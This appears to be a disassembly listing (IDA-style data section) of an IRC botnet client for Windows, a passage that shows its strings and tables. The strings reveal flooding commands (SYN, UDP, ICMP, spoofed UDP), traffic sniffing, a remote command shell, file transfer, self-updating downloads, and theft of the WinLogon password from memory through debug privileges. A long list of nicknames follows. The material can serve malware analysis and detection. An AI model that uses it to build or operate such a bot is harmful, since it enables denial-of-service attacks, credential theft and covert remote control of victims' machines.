aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437734	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377A4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_437870	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378C4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437AEC	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437EDC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF0	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F28	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F50	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437F6C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FEC	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438010	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438028	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_438054	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_438078	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_438090	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380A8	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_4380C8	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380EC	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438110	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43813C	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43815C	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_43818C	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381BC	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381E8	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43821C	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_438260	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_43827C	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382B4	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382DC	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438308	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438330	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_438358	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383A8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_4383C0	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4383FC	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438438	dd offset byte_5C3A41	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384DC	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438508	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438540	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43859C	dd offset a_JqU0DxN	; DATA XREF: sub_4172C1+DCo
					; "ы.$├÷ [·0╩dXв\"n"
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_4385B4	dd offset a_JqU0DxN	; DATA XREF: sub_4172C1+CEo
					; "ы.$├÷ [·0╩dXв\"n"
		dd offset byte_520045
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386C4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438768	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
; ---------------------------------------------------------------------------
		sbb	[ebx-4E77FFBDh], dl
		inc	edx
		add	[eax+1C0042C6h], ah
		mov	byte ptr [edx+0], 14h
		xchg	eax, ebx
		inc	ebx
		add	al, dl
		scasd
		inc	edx
		add	[eax-3Ah], dh
		inc	edx
		add	[edi+ebp*4-4DE7FFBEh], ch
		inc	edx
		add	[eax-3Ah], bh
		inc	edx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], cl
		inc	ebx
		add	[eax], cl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], al
		inc	ebx
		add	[edi+esi*4+42h], bh
		add	ah, ch
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439300
; ---------------------------------------------------------------------------
		cld
		xchg	eax, edx
		inc	ebx
		add	al, bh
		xchg	eax, edx
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392F4
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset dword_4392E4
		dd offset dword_4392E0
		dd offset word_4392DC
		dd offset dword_4392D8
		dd offset aI_0		; "I"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset aA_0		; "A"
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset dword_4392A0
		dd offset dword_43929C
		dd offset word_439298
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439030
		dd offset off_43902C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438E98
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438A68	dd offset aSex		; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
; ---------------------------------------------------------------------------
		push	6000438Dh
		lea	eax, [ebx+0]
		pop	eax
		lea	eax, [ebx+0]
		push	eax
		lea	eax, [ebx+0]
		dec	eax
